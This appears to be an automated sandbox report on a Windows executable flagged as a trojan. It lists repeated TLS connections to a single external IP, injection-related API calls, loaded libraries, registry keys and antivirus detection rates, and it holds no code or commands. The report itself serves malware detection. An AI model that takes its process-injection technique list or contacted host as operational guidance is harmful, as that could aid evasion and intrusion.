Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50125 version: TLS 1.2

Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0285DFE4 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_0285DFE4
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_02857CF8 NtWriteVirtualMemory,	0_2_02857CF8
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_02858BA6 GetThreadContext,SetThreadContext,NtResumeThread,	0_2_02858BA6
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_02858BA8 GetThreadContext,SetThreadContext,NtResumeThread,	0_2_02858BA8
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0285DE24 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_0285DE24
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0285DE78 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_0285DE78
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: 0_2_0285DF00 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_0285DF00

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Code function: 0_2_0285F0A8 InetIsOffline,CoInitialize,CoUninitialize,Sleep,MoveFileA,MoveFileA,CreateProcessAsUserW,ResumeThread,CloseHandle,CloseHandle,ExitProcess,

0_2_0285F0A8

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Code function: 0_2_028420C4

0_2_028420C4

Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: String function: 028446A4 appears 244 times
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: String function: 028444AC appears 74 times
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: String function: 02858798 appears 54 times
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: String function: 0284480C appears 931 times
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: String function: 028444D0 appears 33 times
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Code function: String function: 0285881C appears 45 times

Source: JDQS879kiy.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal76.troj.evad.winEXE@1/0@2/1

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Code function: 0_2_02847F54 GetDiskFreeSpaceA,

0_2_02847F54

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Code function: 0_2_02856D48 CoCreateInstance,

0_2_02856D48

Source: C:\Users\user\Desktop\JDQS879kiy.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: JDQS879kiy.exe	Virustotal: Detection: 79%
Source: JDQS879kiy.exe	ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\JDQS879kiy.exe

File read: C:\Users\user\Desktop\JDQS879kiy.exe

Jump to behavior

Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JDQS879kiy.exe	Section loaded: mssip32.dll	Jump to behavior
